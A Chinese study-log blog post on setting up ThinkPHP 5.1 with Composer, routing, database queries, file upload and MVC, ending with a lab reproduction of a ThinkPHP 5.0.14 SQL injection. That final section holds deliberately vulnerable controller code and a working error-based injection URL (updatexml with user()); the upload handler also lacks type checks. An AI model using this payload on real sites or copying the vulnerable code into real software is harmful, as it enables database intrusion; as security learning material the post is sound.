Day27 - php开发06 -利用thinkphp架构搭建项目 -路由访问 & tp基本功能实现(数据库相关、文件上传) & mvc模型 & 可能出现的安全隐患

tp优点:1、框架开发     2、存在内置保护

一、配置compose & tp5.1

Thinkphp5.1 安装步骤_thinkphp5.1安装-CSDN博客

注意点:将php.ini的open_basedir进行注释,因为open_basedir会限制composer去读取随机c盘路径,所以我们需要注释掉它。其他就依据师傅的博文进行操作即可。

1、composer的配置
1)首先下载composer.exe

2)本地下载好composer

点击Composer-Setup.exe,进行本地安装。

一直下一步即可。

注意:如果报了路径错误,类似于下方这样的报错tips,是由于open_basedir 安全限制,只允许访问给的路径,composer是访问的c盘路径,每次随机生成文件,所以被限制访问导致composer下载失败。

PS M:\Maizi_web_safe\xiaodi-kaifa\demo1-liuyanban> php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" PHP Warning: copy(): open_basedir restriction in effect. File(https://getcomposer.org/installer) is not within the allowed path(s): (M:\Maizi_web_safe\xiaodi-kaifa) in Command line code on line 1

我们就将php.ini进行修改,将open_basedir这一行进行注释。

3)测试composer下载成功

phpstorm的终端进行测试,输入composer回车

4)查看下载路径下是否生成实际文件

2、tp5.1的配置
法1:直接拉取tp5.1版本
1)安装tp5.1

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

composer create-project topthink/think tp5

2) 查看tp5.1拉取结果 

3)挂上小皮看结果

访问一下看看结果,成功。

法2:直接将源码包拷入demo1,挂小皮看结果(我直接用的小迪的源码)

也是可以的,主要是直接拉取tp5.1,他由public文件夹访问index的逻辑不如源码包清晰,所以推荐去用源码包直接拉入demo1。

二、TP访问路径  ----引出路由访问

1、tp进行访问首页页面的逻辑

小皮挂的是public的文件夹,所以逻辑是:

目标访问public/中的index.php --->  实际跳转到application/index/controller/index.php --->验证一下首页显示与实际a/i/c/index.php内容是否一致

2、路由访问

情景:当要测某个文件是否存在payload,要按照路由访问规则去访问他。

为了演示路由访问,我再定义一个方法,xiaodi()。

那么我们如何可以访问到方法xiaodi呢,就需要按照格式来进行:

路由到模块/控制器'[模块/控制器/操作]?额外参数1=值1&额外参数2=值2...'

尝试按照规则进行路由访问,却失败了。

原因:TP<=5.1,不能自动隐藏入口文件,入口文件就是刚刚梳理逻辑的时候给的public/中的index.php

所以我们加上入口文件,看结果

成功!

/index.php/index/index/xiaodi

假如我再次创建一个test模块;

相比较indx.php需要做修改的地方

<?php

namespace app\test\controller;

use think\Controller;
use think\Request;

class Test extends Controller{      
  public function xiaodi()
  {
    return 'hahahaha';
  }
}

三、变量的调用

法1:规范编写【推荐】
结果:可以利用等号赋值,也可以利用/进行赋值
use think\Request;
return $this->request->param('x');

用等号赋值,可以实现

用/赋值

法2:按照原生去编写【完全不推荐】
结果:只能利用等号去进行赋值,不能利用/进行赋值

可以用等号赋值,可以实现

用/赋值失败,不可以实现

这里的报错,是打开了按钮

/application/config.php

四、数据库相关操作

法1:根据tp规则去写【推荐】

结果:受到tp内置过滤的包含,sql注入风险极大降低。

查询数据 - ThinkPHP官方手册

我们这里重新定义一个功能,命名为mysqltest,来进行mysql数据查询的操作。

public function mysqltest()
{
    $id = $this->request->param('x');
     // table方法必须指定完整的数据表名
    //Db::table('think_user')->where('id',1)->find();
    $data = Db::table('news')->where('id',$id)->find(); //news表,当时我们做博客的表
    return json($data);
}

去navicat中对应一下,发现成功

这里我们写一个and 语句,来判断是否会执行这个and语句的内容,发现不执行。 法2:根据原生 / 不完全按照规则去写【不推荐,存在payload】

原生就以之前写过的博客那个为例,可以点链接直达。没有对mysql进行任何的过滤操作,所以存在sql注入。

Day26 -php开发05 -搭建个人博客三种实现:自己写前后端 &套用现成模板 &调用第三方模板引擎smarty 及三种方法的缺点-CSDN博客

五、文件上传功能实现

文件上传 - ThinkPHP官方手册

1)先在public/里面给一个upload.html 

方便后续小皮直接访问;

<form action="/index.php/test/test/upload" enctype="multipart/form-data" method="post">
  <input type="file" name="image" /> <br>
  <input type="submit" value="上传" />
</form>
2)加入文件上传模块
public function upload(){
    // 获取表单上传文件 例如上传了001.jpg
    $file = request()->file('image');
    // 移动到框架应用根目录/uploads/ 目录下
    $info = $file->move( '../uploads');
    if($info){
        // 成功上传后 获取上传信息
        // 输出 jpg
        echo $info->getExtension();
        // 输出 20160820/42a79759f284b767dfcb2a0197904287.jpg
        echo $info->getSaveName();
        // 输出 42a79759f284b767dfcb2a0197904287.jpg
        echo $info->getFilename();
    }else{
        // 上传失败获取错误信息
        echo $file->getError();
    }
}

3)创建一个uploads文件夹

4)访问前端文件上传页面

因为前面给html放到/public下了(小皮挂的也是/public文件夹)所以可以直接访问

可以看到uploads文件夹将我们上传上去的东西自动存储了。

六、MVC的概念

MVC  :  model 、 view 、controller

tp是基于mvc的框架语言,view是指前端页面设计;model是与数据库交互;controller是

接收用户需求,并调用model。

优点

  • 解耦:业务逻辑(Model)、显示逻辑(View)、控制逻辑(Controller)分离,便于维护。

  • 复用性:Model 可被多个 Controller 调用,View 可复用模板。

  • 适合团队协作:前端(View)和后端(Model/Controller)可以并行开发。

七、安全问题

1、代码写法不合规

如上面提到的mysql语句,不按照规则去写(纯原生不做过滤 / 写一半按照规则,另外一半按照php原生去写),就不受到tp内置过滤的保护,会有sql注入风险。

2、框架版本安全

/thinkphp/base.php去确认thinkphp是什么版本;对应不同版本我们可以去网上找相关的漏洞

我们找随机找一个进行漏洞复现。

1)给一个tp5.0.14版本进行测试 并设置好需要的地方

2)将模块定义部分进行修改

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        db('admin')->insert(['username' => $username]);

        $username = request()->get('username/a');
        db('admin')->where("id")->update(['username' => $username]);
    }
}

3)进行路由访问sql注入复现

由于我开启了报错提示,不开启可以用盲注!

/index.php/index/index?username[0]=inc&username[1]=updatexml(1,concat(%27~%27,user(),%27~%27),1)&username[2]=233

 但是我们一起做tp结构学习的tp5.0.22版本就不存在这个漏洞,所以说明了一个问题,不同版本对应不同漏洞,没有哪个版本绝对安全!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值